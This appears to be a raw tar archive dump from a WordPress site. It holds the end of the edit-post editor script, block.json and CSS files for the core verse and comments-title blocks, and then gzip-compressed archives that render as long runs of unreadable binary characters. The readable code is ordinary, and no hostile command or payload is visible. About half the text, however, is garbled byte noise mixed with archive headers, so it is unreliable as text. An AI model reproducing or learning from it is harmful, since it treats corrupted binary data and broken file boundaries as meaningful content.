  if (isMediumOrBigger && (0,external_wp_data_namespaceObject.select)(external_wp_preferences_namespaceObject.store).get('core', 'showListViewByDefault') && !(0,external_wp_data_namespaceObject.select)(external_wp_preferences_namespaceObject.store).get('core', 'distractionFree')) {
    (0,external_wp_data_namespaceObject.dispatch)(external_wp_editor_namespaceObject.store).setIsListViewOpened(true);
  }
  (0,external_wp_blockLibrary_namespaceObject.registerCoreBlocks)();
  registerCoreBlockBindingsSources();
  (0,external_wp_widgets_namespaceObject.registerLegacyWidgetBlock)({
    inserter: false
  });
  (0,external_wp_widgets_namespaceObject.registerWidgetGroupBlock)({
    inserter: false
  });
  if (false) {}

  // Show a console log warning if the browser is not in Standards rendering mode.
  const documentMode = document.compatMode === 'CSS1Compat' ? 'Standards' : 'Quirks';
  if (documentMode !== 'Standards') {
    // eslint-disable-next-line no-console
    console.warn("Your browser is using Quirks Mode. \nThis can cause rendering issues such as blocks overlaying meta boxes in the editor. Quirks Mode can be triggered by PHP errors or HTML code appearing before the opening <!DOCTYPE html>. Try checking the raw page source or your site's PHP error log and resolving errors there, removing any HTML before the doctype, or disabling plugins.");
  }

  // This is a temporary fix for a couple of issues specific to Webkit on iOS.
  // Without this hack the browser scrolls the mobile toolbar off-screen.
  // Once supported in Safari we can replace this in favor of preventScroll.
  // For details see issue #18632 and PR #18686
  // Specifically, we scroll `interface-interface-skeleton__body` to enable a fixed top toolbar.
  // But Mobile Safari forces the `html` element to scroll upwards, hiding the toolbar.

  const isIphone = window.navigator.userAgent.indexOf('iPhone') !== -1;
  if (isIphone) {
    window.addEventListener('scroll', event => {
      const editorScrollContainer = document.getElementsByClassName('interface-interface-skeleton__body')[0];
      if (event.target === document) {
        // Scroll element into view by scrolling the editor container by the same amount
        // that Mobile Safari tried to scroll the html element upwards.
        if (window.scrollY > 100) {
          editorScrollContainer.scrollTop = editorScrollContainer.scrollTop + window.scrollY;
        }
        // Undo unwanted scroll on html element, but only in the visual editor.
        if (document.getElementsByClassName('is-mode-visual')[0]) {
          window.scrollTo(0, 0);
        }
      }
    });
  }

  // Prevent the default browser action for files dropped outside of dropzones.
  window.addEventListener('dragover', e => e.preventDefault(), false);
  window.addEventListener('drop', e => e.preventDefault(), false);
  root.render(/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.StrictMode, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(layout, {
      settings: settings,
      postId: postId,
      postType: postType,
      initialEdits: initialEdits
    })
  }));
  return root;
}

/**
 * Used to reinitialize the editor after an error. Now it's a deprecated noop function.
 */
function reinitializeEditor() {
  external_wp_deprecated_default()('wp.editPost.reinitializeEditor', {
    since: '6.2',
    version: '6.3'
  });
}





(window.wp = window.wp || {}).editPost = __webpack_exports__;
/******/ })()
;14338/verse.tar000064400000017000151024420100007045 0ustar00style-rtl.min.css000064400000000145151024234210007771 0ustar00pre.wp-block-verse{overflow:auto;white-space:pre-wrap}:where(pre.wp-block-verse){font-family:inherit}style.min.css000064400000000145151024234210007172 0ustar00pre.wp-block-verse{overflow:auto;white-space:pre-wrap}:where(pre.wp-block-verse){font-family:inherit}block.json000064400000003256151024234210006531 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/verse",
	"title": "Verse",
	"category": "text",
	"description": "Insert poetry. Use special spacing formats. Or quote song lyrics.",
	"keywords": [ "poetry", "poem" ],
	"textdomain": "default",
	"attributes": {
		"content": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "pre",
			"__unstablePreserveWhiteSpace": true,
			"role": "content"
		},
		"textAlign": {
			"type": "string"
		}
	},
	"supports": {
		"anchor": true,
		"background": {
			"backgroundImage": true,
			"backgroundSize": true,
			"__experimentalDefaultControls": {
				"backgroundImage": true
			}
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"dimensions": {
			"minHeight": true,
			"__experimentalDefaultControls": {
				"minHeight": false
			}
		},
		"typography": {
			"fontSize": true,
			"__experimentalFontFamily": true,
			"lineHeight": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalLetterSpacing": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalWritingMode": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"__experimentalBorder": {
			"radius": true,
			"width": true,
			"color": true,
			"style": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-verse",
	"editorStyle": "wp-block-verse-editor"
}
style-rtl.css000064400000000164151024234210007210 0ustar00pre.wp-block-verse{
  overflow:auto;
  white-space:pre-wrap;
}

:where(pre.wp-block-verse){
  font-family:inherit;
}style.css000064400000000164151024234210006411 0ustar00pre.wp-block-verse{
  overflow:auto;
  white-space:pre-wrap;
}

:where(pre.wp-block-verse){
  font-family:inherit;
}14338/comments-title.tar000064400000016000151024420100010664 0ustar00editor-rtl.min.css000064400000000070151024255750010130 0ustar00.wp-block-comments-title.has-background{padding:inherit}editor-rtl.css000064400000000075151024255750007353 0ustar00.wp-block-comments-title.has-background{
  padding:inherit;
}editor.css000064400000000075151024255750006554 0ustar00.wp-block-comments-title.has-background{
  padding:inherit;
}block.json000064400000002747151024255750006551 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comments-title",
	"title": "Comments Title",
	"category": "theme",
	"ancestor": [ "core/comments" ],
	"description": "Displays a title with the number of comments.",
	"textdomain": "default",
	"usesContext": [ "postId", "postType" ],
	"attributes": {
		"textAlign": {
			"type": "string"
		},
		"showPostTitle": {
			"type": "boolean",
			"default": true
		},
		"showCommentsCount": {
			"type": "boolean",
			"default": true
		},
		"level": {
			"type": "number",
			"default": 2
		},
		"levelOptions": {
			"type": "array"
		}
	},
	"supports": {
		"anchor": false,
		"align": true,
		"html": false,
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true
		},
		"color": {
			"gradients": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true,
				"__experimentalFontFamily": true,
				"__experimentalFontStyle": true,
				"__experimentalFontWeight": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
editor.min.css000064400000000070151024255750007331 0ustar00.wp-block-comments-title.has-background{padding:inherit}14338/quote.tar.gz000064400000003101151024420100007472 0ustar00��[]��6�k��Ї���[�P�m6IS�	ڇ��m�K�
I�q��@�қ�$��,��O������`wH���o8����{\�N Ľ�Ph46�z��^�����Ѩ���ި�tdO�R!���Rg�xW��ޛ�I|s�8W���{�Lg���/p�FI��"ħ$��N��u�0��	
CO�=ż=�	v"��:s��_���2�)�8���/J�����;����:ÔK����QmD�S$�7��/f��O;3$<��JQ2���J;�xbm�┘Ÿ�q������f�q�KvXj֋��Q8��j@��y87���PDbۆ�S_ӖD������[�;���|1h�T���o#������F{�-��+���ކw�k(�����p�E��j�u�0�m��������Z�V���<@>��ב��*��n��=�߈>i����p��h{�g�h0��Z_�5UA˿U��Wy鵩�aĎ����_��-�ZzdN���_�?����w��o�����c>�l�-8J�+�ѵ��ᵯ�[A�0���Ƶ7&�UR��\�AVjx��f����&'�Y��^��t%>xDI��6��3��Φ<��R�m��u�w�e���Lb_eB_幺w>W�oB"@���mVz/���?�����a��G��[����_Om8iWv~,>��-�?�GV��b0j�tsv�D3!�wܙ�����
G@v��K���竻�>�e(!?a.��;ʼnQ����q|��VO�DR��`H�)�K�U���!'�4�gd�-%t�gND����d��<�3�&y�Cga�MK��t�E�����)%�y̸���w�k��x��}�8��`f7���ίz�>d��2,��Rc3����Tb%�yߝ#���X�L��L��j	0�`���LLq W�!z0}D�5�d��`e�hv�ıt�y�F�^P�ת]�3/?��i�H�>�-*��/���y�'�"M8�‡(fZ\<���L��*��D�~X�P�$���}�Xߙ *��+\O9K㰰g�z�).�+���<Uz��M0'l�Ks�a��|k�����GUQ_�Wa�n�V4s�TTX:�V8�
9��`K_���U��
�J���B���W������l7��j���Q}·�W^�Q6�G�lY�^+�%P��uOa�S��2��]$����:�%�K�b1a<�2�F爰n�7X��^$(P��i�<W=���'O�Ui��=�(���_�-��WC\����d�,,D
�'!�Ơ�����pR-
����bhV�Tx��Y�7∺�(�dN��"Ty�;4'��ѕqT]�̀i�9����ޮ��G���&��)e�n�B�~�+�-D��9ؠs%1�_V����̨[kOq�n�N�*��Ъ����`h���~�?5~�mj���.Цo��k��˽��R��۴;w�*߯MS���:������Fw�����A��L��VE��
d���������?F�c��G��[����_�~��RK-�t�1(��<14338/group.tar.gz000064400000003141151024420100007475 0ustar00��]o�6��ͯ�
؀ȑ�98�ڮ퀮}H�=E@K��E�����;��d}�n�HNދ�y�;ޗx�q@eQ/&I��ɽ�0���h��yn����{�7�X�/�K.�]�z��[��,����`t�Z=}��Y蛈pqyI�� 4qRJqṘ��,B��|�@�X��wۧ�)z�������%A�)N�nc�$q2z��ב
wfȿ��ϳ�Q!h<�~Ko��M����#Bk��<�7w�F]���uJ�h�!���J�$	1#�\�3_�D�iB�.��V�W�&�s��DFg;��ҧ t":]�6[�����[ YM=����%�m�OW$��sݟ�ݗ)����(�x/���C�g����v�]�l˵���`0�+_H��ܮ�c	ޕT6�8�]Q��ͱ������J�W�'�C�T�;�Fc��;��
�������e�(H��z���V�7�����
�o�����d\���3��|��7;�q�������o�7���ܠ��=ߗp@�?��_`��
\��c�޸~�3��wǿ����O������Q�|��z>M�`�$X��u��p���&b<�E���"`_�o8�������Pd-;���uP
���	B�f`��ap-���nW��n�J�v���t�?(�z+G��t	[��⫍B@e��쪡]O��a�۔5
�i�oȝ��8�{�˲m Jc���d{��XW����G�G>���������q��u�P��Gc�`�S��������������I{<��;���FC�Op{����!��=��P��O��4����([�	�L��
[�OaJ�?�q�0s 1	������%Z)���#���%6��,4I��I��i�B«��r�$����'_/XOͻ��DB�>H��C�ԲWLz��dt%��ݶ�Q-߈��0^�E�$-��@’,�	Ƣ�[-���{�A�,xׁ&9��Ӝ��F�m�mN�dC�
S��a�3J#�����,c=Ž����"�;ap;G��ǜ#�+<S�-1��jy'j�͗iJ�ȥ���7�9�K���1�Ӧc��w��B��|w���+� b)�|	Rj�m��!-�D��7h��]d(by��W�����.PŨ���g�S�QY�zo����r��E]>�����Hɢ׳`( 2��؅�&{yu*�PI��m����4���(���5O��W��Х��B����b:���Á�L�&_��!����$I�
/��絪y�	��}��|�v�5�]\��P��0�4<D��&�
�,�����BqA��uU&(�h��sX_�A�qI�M���/QL���A�~	�����cރ5�g(�s��=�^`HV(��]�@���"����NJ���SZ�e�/�ܻ乬KN����Qy욈b��HF���,vEډ��*Ю��*���!6��d1p�P|�s���������;��:Shh�#�oj���J'�y���A�����o������`��qC�k��}�����������?Gg�����ڙ��0`�����G�P14338/formatting.php.php.tar.gz000064400000203424151024420100012075 0ustar00��i{Ir�~%E���ݍ�'w�����.�i�@
��z��	b�#K�d��e[�d���ֽ�%Y#��#�h�/y�Ȼ��{VZ����������Ȉ��Ө��A����v����v7�a�d4HF��Q�E;����vԛ;4�~�;���q���J6���'�g~n//g>_X\�u{a�Y��0�����9|Z^��M�g����~���g��չ�߾���}��(�lC$�#5����&��B�N7H���?��G��0�����if��p0�:����$����U�����&pW/�{�
��^�ԏ��0��,��&����0���p"'��@T����'\����o��!������x(��=%�8�������n8H���4@������Qԅz��鍺�p�
�Ԙx-1�H����{�nP��G	��:�y%��p�S��HB7��#�Eq�A��ӨB��ٔ��
�xAr�{㭻�wV��ɸ&T1��8�"��o+�ti~E��u�4Y;��8t���;�F���8��`t$�#�
=B�4LyG�%?}'	���a����(z��/���;�v�]�(����M�7߼� ��t�#����7{6h��~p3�y��"�\�ֲW�;Oc?a�sa'�@�6�5�O�����Y�Lo�?��Q�(��0��0_���P�a<���( ���.ry�G�g�*3Ԙf�D1!:<ah���5wU
�����'A��R���y�~F��}z�� K��u�H+W���mxA[Ɣ7~ּ��ۭ_�rE�{��U�,�9�\��E�E�c&z��9�3%�*
$f�x��e����=E1�Q"�.��v��Q7h��0�F�������n��,*�by@$U#j������q�?ɡ@e�Z�}��X��I~Y#�UpD�PU��Y�z��ܜ��e]�L�H
�x'�{�^�34�^	�����s1�`�]\�鶶��9�C3��T&�kn��h�)�ҏC�<iz��^��3�w�e�bjCc׼0��լYZ-�j~�
H�Ga�W����}��4�$�
)RkR��k8���Q�V�c��
֮��ˠ{��Lj�ø=�Ū�qa�@8Q��}�LDƁ}�T�6����0�;&b��DBD"r�z1�獅�k��n`K�rs�9o=��.��ƒ������̥�(=��y���T�
�7�V�)~bÃ.��R�U'��g<�(��b��)0��͚�zh
�ЫD�*����&���&m�e6�@M�s!P�mn(ݲN�P�ݤ���߯%$捦A'æ�����6��T+�*^��Úl�Ž���"�B�s���;�nfF4\ʳj�Z^�����3�_6�����k]0Ix;�aL@�&���)=x�\@y����6D�K~�@3K\0�[=L/
�>�i0��~��2u4��⨃��y��'�8��p(�,�I�U���N6�#�ީ��D/�Hs�b��aԆ�,\�N{�pؔrK.f�̀\�`@��gw��"8O�k����SY��_�p���P�Էp�J�O���&���
a�����:	,H�����Ҕ����+��{`�Yw]�K]4fLc�Vz�k�Q;�_�#�F'����`X�B���|�.sqG쏚޻�!j�i�e-��h�����8��aK�m�;�BZZ�v?�Uf؊��t�V�]}�[���p
:6�BsU||�R'���`}�{e��;�ʰ^��>��~��������鏎��8�;u�u�w�a^�lO��e�<�^����B p�œ��Oc�"�
vH~���9��(?��#uW=W���3@|f2���%�UƑ��l	�SDh�[E9�zA|�S)7�MQ���}��z�a��T�#,����9���#K?A����A�� ^���U�y�ۼ{o���Zx�Qf}��A3��8��ʢ��l�Bk��P�=c�do@%t8�:�r��c�RG�ԏ
<[k4�����y)qٟ��J�r�d����L�n��<��WU+P�(T���3d��{G��(�P�Eh%�\�NJۍQס
Y���8x҄8���y(�>�3_Kl�n�Tf�k�m�j�2� S��K��W�ۯT�;���}������f��ʵ�������'Õ����$=`!��U�O4ʛ\x:�@Ų��y��re�b�<י�j�F�%4��W�Lͣe���ޢ�e����;l�{��}�NU܇.U\ۻ��9��@Ok����?���/`��o./V��g*�7nL�0��k�)B��ր���E��2����َ��4@�̰�����^wt�U�ާuo���ս��נ�SI�o�����~ت��V�4{�ww�����5�����.�����2m��������aypMϕ�^���um�{rPf��6��T>H��R��KwU7�g��3�)��?-f�g%�ı�0�ˢ�i0ĉ�Gr�@��ƃr�or>;�PM?����K;�"���!w6�<N1^Fߋ���K����&|�f����#zj�»�h�,v�f#�x���h�̟͝uY�xr��׸�r?�?	^�hY��F��K��[8~�d�>��;�
�ǖV�ȁ�,��p'���&,��Q���I�OB4���0�d�6�ը|ɝ	{��B+��enܚW�2����ͻh̕M��ށW`C���Ӧt $�|6]1m�M���I~�H�"
V����|��qlQt�\j�H�����~��m��JT�$��(zA[0�I�6�5�,��V��O[~�}zgo�Au��s������o�Z�_;�y���Mxc�w��, OTte^��@��=��s�v��vU�[8`�Ǹ�G�vO����F�'+����I04=-��׻�U*\�4�_Рm,
4��Du�B�/(���X�{�l}������n��֓��67�w���]���>km����M���~���;l�O��h��n�9����Q�Y�F�� ��H���+�٭t�^8$I�B.�5.�7�\4��
;h��X��L�)I=�U�\gWeE�BEe}�h�D�,,�\Ai�G��X6�,�_YT�yD��p���+ި���p�] n���´z�`��9���#+V  ��
�`��-X��ū=�q<߸wp��r�?Yh,|�P��z�6����9��Ɩ�+Ec�h�'L���ke���aګJ�ȘD�]��V��`x�3@�5izۆ�'족<H�u�7+\_�jzD�,N�9=�����k�C�xN�5�Sz9p��P����{{���	������O>�r�~�c�
���;����I���� fO<{�p.^��X�E�%0k��AH�XC$Ց|���6R�P~�	��	��!��CK��j�^?5yӶߺ�e�uf�x������}�f�l�Q��{�[]
��Fuk���oղ7��66l�\jS_��9ٕ�V�l)6���4��h,6z�D��'�2`�@
�t�ڼ�V��J��tj\�N���%�zm�"��W��*n�P����s��=�i*���:Y:�W��9��F~ܦ�&T{AB�'�p�LX��]\�0�3x5���K���ò��+�p��_Fa6�!�"%��
W���*Y����~g�Y?�y!>�]��BÍ����Wfn���pkev��C��%_�VB셸��X��S�U��O(�Z�^?Fw/�q}@����8(-��B!�`Tp'8s�ҜA�F�aM�1�)�����m�
L4�-e2�!,�ȱ�RK���b���;����%�jf�֞��j��[F9��&čv����N殈!��jvQ`U��>�_A|g� �����"�B3�1&h�(ֈ@dĊA��L_jm&G����۠��v'9Ÿ	��,\pL�ZC�I�Qa��q�z�����Hg�д!��ˏD֢]����tR�Ak���l�l�� O�y6hPS�(n`��2K_Z��f�~��<[��}�ۚIY�5�#9�X��������-�VI|k���i�׬rH���6m�e�CX5���Wׅ�3��2�a,�5�PꍵQRê�S�54�y�vc3����ʕ���Tu��
�(�PK-�ֈB}��k�h-�����Ѵ�dVRwc���5%B1�@�3�@[ހ�AW��1�au!�-����[#mw<�E����O���^ļ�镞�i�$|�<��yE�)����I�E �Ɓ|p�_�p���t؋q���-{���D��-/;!�a��R����j2r�
�f|�� �t�ıvA��7�0|�����妆%�ZT5��X�`+l�¹Cr�o�����{k���{��n��S}�e�1cS�9�P���v�~U•�_�9�<	Xa��8�]k-a�G͌w����4�-}VJMC���bS��X�����74n)H��x�V��Z�%;��P'\��O/z�V�4�&�v
Tw�O#G�ydejz?�JM<�K��5��h2v(	q�%���*�w��b��-w��vܹc̻�1�g�(�U_/���7�]'L�IGY}Ѫ��G�sU#����P��ޫ�� $�9��V��O�1�K{���9$i/ !O!��/ˉ���&�$�v��ES0��92��g>�\��x�:B��~��a��h�*8���^B��m�'��?�bSC��&�H�p��Ж�p���m�ឲ��5|tљ.�Q�"�rW{�2�|b�[�k� `ev�ʼ�'Ȳæ��
.������B�׵��
�67f�N ��
�!��z_��I��>�j�#p�Q�Ȝ���Oq�)���S{�	Ǿ���c>-��nScř�T �؊vz�p4�
Y(·�ɩ�e!Au2�X�~�m�;<��g��roĢ�5&q��(~�$��u~����LcDؐ�R)���Q��Z�U>���	9v����E�YQ�c�5sbP�e`>�cLb�s��q8�1HC�#Ƃ�4�1Z^F�W��I�[��a��
%�3 �;;^�����PD�8[�_)�A`���Igu'��̑�Ϭ��;QY��;�,�WH��^uTL=�ew1N;ɧu��y��������)�h�˨��u:3���c����P����N$ƽ�8
8��M��5����xN��>�M��3��L'���!��Ɔ�]+0ۨCK=�N���w<���(��@p#���+�Ŵ�$|�2O�
ͻJ�������i��ϔ8�Xy�3��5�MD2��La�=On�3�Pl��ģ�O�j�'������\�0���AI���Q���Ah�g��lڮI+��☑3�
O$
�$;�ź �O0UP��Y$ܾ��/΢J�>�K�B�Ӳ@k,m3�d�
��.��]s�#��M��E�kz3�}���q,�v0�@�u;R6D#��Ү~ī�����r����4�v0�G�(f3~����_Ù���!��5���SУ�e�����fo��j��q05,�4�5&���4�͓Wщ� ���j���"JEt�V���}��s1�Рʄd��C����f�]��*��ړe͛A<2b
��l��D�Ὄ��=^�)v�Z�E_bM5
�$�D1�ּU�Z�foޜ
u��IV�b��~�İ��]��30ó�Cu1�Ih�K�)���q�\�����[}�>�i��7��P$A&�>�?Du���\��hx�I�^��.���bxu�/�����^t—��E�s�^��P�^b�"=p�Ϳ��hGv�w:�d�d����to�q���4�8�n�E��~�C� e؆�>z�/ND4�:�)��/���O$�`���X{G�q��yM�7���Z2=�(zp��F������Zu�I4a��������59��0�q�f���P؊�K#��8�.�Y��$�Nc��3kRҜ�{�7���">>,lv��wPM��B�!/�(���,C�P�g�c
g08p&��G��*�)�6P�eD�Ha�
F�g�f�v���Q�_�џAB�C���w�F���Q��[W:4aA�_����0�tx��P�hi�t���r�����ˢ�P��*O��	tז������I��}�_��.�J��:�i5�]��i�
>'�O��@q����k�׳�ȅ���Ir���Կ�a�?�M� J�42�3�)K{�	#Aa<��@�Ӭ�����:C��/֍m�x�s�
���)C`��������qA@��������SHk:�B%p�Z0���S�a+-4�h�@�u�R"�jT�O��s�ZZ���A�Õ�'�}R�H��s�Ur���9\n��d*E�a�5f!R�*�����Aڄ��H?:��#"Zws¸+�L�~N��;��v�6�،3�Mpq���Q���kq����[�G�
�E'`Y��X���Pd'�AԮ7-O���I蝥�3M�:��"v���ʤG��g��sr���;��h�`��B���C4BBWڀ�$�q0�R���a@��"-y@�14NlW�օ����Tew�‘�u:綊z�:��`���d�F������\�g�#��5�	���Dpunvq=� f�fa�$Lڞ��@�
.۬i<�h��8�H�b}��i��B��'>c	#�#��%�j7\���9��J��q��v�ŃV͛jj�œ�z��nR@�t�#I��_�f�bL��U"Fm���ތ��8L1�����3�ž�,�7^�!�g5�j��du�A�7c�\^�Y;,Ü��q}�}�h"��-��k��4-�}e�ɴI	46͜u��Gn����j���bӜ�<�����|������!��H�m	DZ����i���]vi�Y�y�Y�D'k�U!��z<�N9C*lNC�t�	@�Km�L��DY�1D5c�[�H�z�K�hA%�?p�������=��������S�h��:��&$uK�0-L���;5\4=ܤVI��`(=�yX&%E�Q�	H4Y&��)��6&��K��w����={1#�h����G�R�]�0���$g�>R���֜�;���Rw��2��d�c�g��⛦����9�]�E�l~�3+�1�,'�	fܼ�3{�Ϋ��S�Ջ��l�Q���{�,_�ށ
pj�U(X���ȣ��.QS5U|<󩋋Þ8�Tm��M+^�p
^�Ȩt2�
e<y�(��>���޲�NO>�a:]���\fI�G�=��#�z����}�v�=
?i�𞪹�1\�O�F`�F�
z2���2�A������>�L��U������ʵ��T`�c<�\oT�.$2)��Vn�e�bVzޏ#���Y�(܇My�;����h�)�0��?�F����z�≤��"�S`eV�h�q�M�*��G�g��(װ�����D0IB�i�����.�e7���I�dht�x�N�Ͷ;�З���|�����W���Щ���ӱ�7����a8�a8��.���� k.3��
�<sɃP}��b��"�X�٢�ա
��]T��z@e�*
oh�Z�Vэ{��` �n�S�1݊�<��<��KsU�G�M��@8����1�i�b�!�"�R	I]���b7"m�X��$1jRG�H����
^86�M�Q��,�B�{Pqa�����X��-uA��еWj!���#�9:y�-:��F�UkO*��{'<��G���ݵ.[�!��T�ܼ՜�(}oG���~�}���?h�-t�����1#�&sA*�����Dc�	SA�
���*����?+n˜�����U,���!��A�Q'҄��VTkE3j5%dNJL�
�e@�6*0��X�,�Io-Z�Y�I+�G:���C+#A*#��3�Y�+SӚpJܚѤ��/��O@�t�p�X&��O�R�l�R#юCL�(�R�|�1�|���Hd��\�{��-2��1sT?�����'����s������A<�i��f���k�J�yNa+5E����<�D׎K���Ȝ��������A3]���ԃwa���B~|�R��+�A�Ք�{���(Xm�D�oa��*
F�~x�c�l��T�6,�W�X�
"7�����m��s�`��KzFCN>�6�uג���J��X�8C�4w��x�(&�I�tp`�o�RD^q�m����6m�&��qfi��wo�_��"�l��,�^��a����F��+�&8�й�8ON��q���Fڠt�rF/�vdH���;�@�rG��:O	�+e���83���s.�J�z�ACuTwY��2݀�;�E��PWx������{��iz'�hxS.}�ʫJ���%?�vFOK��Q� �����E�UxIn�y��o�-��aك��W��C��ܾ�0̮�򰈡�}̆��Yځ1�8�����srX���LZ#@b����L�K
@��x\�jR�a�N�
���8G<X����9�f�y<̋�c��X�|�
U6��ѕ���F(�j�Z�Ap[ٓ�MI-=M�c�CǞ�9��ʘ��#���%����e��L��'�Rᴔu��nɪ��0�[ӏ=
��7�r����?$
Qh(��UO9�1�m`I�-��ņ+We�5��C��i6�הw��M�c��a;���
:f9����Q�<�a_��^}���.q�:��*�{��e��D�R��yR��FxS�����(��>�`#: �~l������6�Dy�]fK!
~��S�*�!� �j��*C�vҳ8����u�gO�1���|Y����r�����C ���:S56_3YU��qTq��n�qP�j�"l���7R*�==��%�R�O����q��``;
�>�]��w4���30L�xE��Oc�$(>����=ǵ�����n^u,�y��T�te?�G����(b��y؛;>;0��,$�e�t���C�a"|a��PM�1�(��W�w��ۤA��$�=�&�A�=�  �"�rN
f�y�F歜0����,� *�-�����Lv�	),�N&PA���u�+���T'k`��M"�w8Q3Z+���	�0vU���|4<��}�����ݭ�����@P��x�|���=�lu��,��D�W��]=�U��`%�醵em�
aԼ#����Ik*�h�j/ꠉ�S3T���b3�|1�5o�f�u�	�SŻx�Zc�㐒B�w=h6���yG2=�����T�������UA�P�o�}?>o%�q�"B�C��&���Q��$���UsK7/�n
�ݼ)� �׃����m�U��
*ο���W�"p��\���S�Pgk^��iW_���E���[v�EQ���U���?��/��T?����~ת���c���[���U������i|����<S���@�.���mͫ☩��0����<����2U
�	��O�V=<��Gvۑ^�oR<B����F�$��v�#�VX^qL;qC�$����̞F2Na��S�������ʰ�1�V��0 �r�;�Ag���ʟ9��h+j�v(rQX�!���L�tN}��nk�������!B�oT��]9�cX�������K�A�O�!~��X��3Q��h�#�D
w���5�٢�y����&�@�Cl�G�� ����?N&�JJ#���Ct��yfR5���	���s'8?HeyO-��l�4��}���f�U'ҭr�h;@���	��[�
��t�{U'-r�X��:�j��%%!nD!o�H����6�L�
�T���Q��YQ����(
��	�mV�E�젧Y\�L9G�#�Z��P�͙�&����̎����;�Do(�B-M�\[K���Մdp!�t#����]�*L�iA��Pڈ$浘�*m�)n�<W-!��:�9��,:�5�����N<�n]N�2�5iD�j&�TZ��h�a3��
U.#�V����%>���� �P~�.ic�߻��>�_9�ӊv���SmN�(��M<�x��/�H�4E+�ԩ�/Z�
YS�c�$�17���ά�b�G�N�%+	6�@B�^��6�kf�+��:?o���(��Zj��_sRe��&퐚[��G}T"Z�aU3���>���X;��Q7:���ٖݮ��b^�t�
��qk���ޚ��"M0z&��2g�
W���k#�Z�a ���$3�W�C)KX]�_�q��G�	(�����{��誕M6�]b�6m�&��m��{#RT�"�jy~��ԭ�o�/a�[��Uum�N��"	�V_xjI٦��3[nh��T^����	��少���X��e`J�I��~�E�W^9��qled�9���R��[I��;����[+�������Z�	�Z.�#="O'������sn���r�<��R��j�
�m3�W�LO�H����v����;j(�SVF�E�P	M�m�{�چ��"��!`���߾�Z��8R#�k@�S���e|�Q���O��\E,��ձ���|�[�{KSя�8�FqC�uC��I����=�J|�����|��d��e(G+O6��Y��)�&��گ���g��X�صK 0t��10� shU�:r�/_Ϳ
��ŠxI�%P1��x�e���H�旖�G��G�<D�mD�mD-D5�4=�D��&�[U�ޞX�G'�Ժ.%q��P��t��R7t�o���r:
蘝F���r�|	�[�k��E�ے\b�+V��kp�E�V/�O���:���M-<"��1̾;��y�}3iVKo����B��b��al�.ٝ���(O�7!��um,�<l�&S��>	b���a[P�� ��B�s��
~I��>G�U$��ag���p��=���=���f�,#n�d�h�r"a+�KK=:O���xvf`�0��f�$�{j(�?C��D���L4�LLo[��
�q�_��kg�C�I(��BeU���dH��N���6"�a�\?ٱ	H�G��J��|�
]A|RVގ*3�����c����(fKU9�1y?tFd{�-��~����yw�(���'�wF7	�A;r;�K�N��y�C�S��4���n>�v�.��;[q�f�a���Q�����;������9_���J�
�R�Î�D��J��;W>�{J�GN�©N��tMZ��z�?$��2���^�5D�]�C�G���hˏY�hf�{����XW
 ]�|	��!ڢ�5�*��q�'�`�US	����j�"k<��3�
���(ܸ�#+?d�ipNkٺ՗ѫ����	�����F^0������D�t*�m.aⳀ���E��'�04��<���^@�g�ib˫�?;*�A;�C,"=Щ���WFh��@ɐ�9�g�J����ɻW���!�E�!i.}&(��
�O�š0�U-��=�	��0�׆�hؓ�_7/�^?V�گ̂�ъ�0��/�4�”O�Q*��_*Złl��`�e��TF�]�u ]����Ǫ��I�hˬ��?:��?!�S��w�?�af�jҼ�O��}�즗	�����O)�!���k6���jn-��'���'IS���\����e��|��+�F�Z�ϫ�d��.�l٠�2�{x�?s�<����-��;��2��ʙa?����ݕC��8�c�b'-�jiA��JL��1�{�"
��5)B/�ɖ��:�nc�;��������ǎ�0U�η���<��탡i��oo��WWk�'t	�QÜ8����O/<��u�}�{>8��W^+/g�[���?��(�M?��o��o,Q��;ԫ�ձ&���gP�So�' ڞ��8��I��Ϗ��(�eHK�6��+W�OE��J4����	(��Ƃ�J:��2HT�B�ǥ�պ��$4G�
�����=�=&�h��w�kQ���{����Y�އEe���9�����	8";��pH�;0���r㵭)p�L�o���	܏O���Q����-����0�v2�[&p�tbp����̰��"p?918C|Մ	�6��)	nk<8s��:{�����9�M1A'�]��.��g��xp[�|w������r��&������w	ܿ�\�l�)<�q!����\���M.�v���O.�v�	�/KEji�cy������I��,��l<�gE#���ݿ�\��>dy�o&�=�Y����rh���'��(,�~ubp�F/�v,�~Mx>��‘e����YP�11���e����
P�%|s<�ov�Կv�n�4�mu����	����p#"�%�X�,p[��;�?��b�ߞ�A9�?!8�Mlp,�~gBp�������	�\g�c�{�3�1�ߗ�q��\�X!�@{v�:f�cy��`�`߱���	���˻?�\.߱���	��2
�;��
ǁ�Ў�ݟL.�v,�tBp��cy�g�ˣݣy�]�3\Z�����s�?\�X�<by���h��xd�������G,�˄��F�˻�:!�\ڱ��o��eP9!8C�������h�ј�e�W��YP�M.wdY@����r����ǁ;�YP�S0'x&��:f�c��&�.��"[$��"�mc㲖H��5GZ���Q2�>�0?��c�@��N=���6!�,�\��O�pm�$�?��.x��!���\���
׆L��ɭ��I�^A&���4��9�
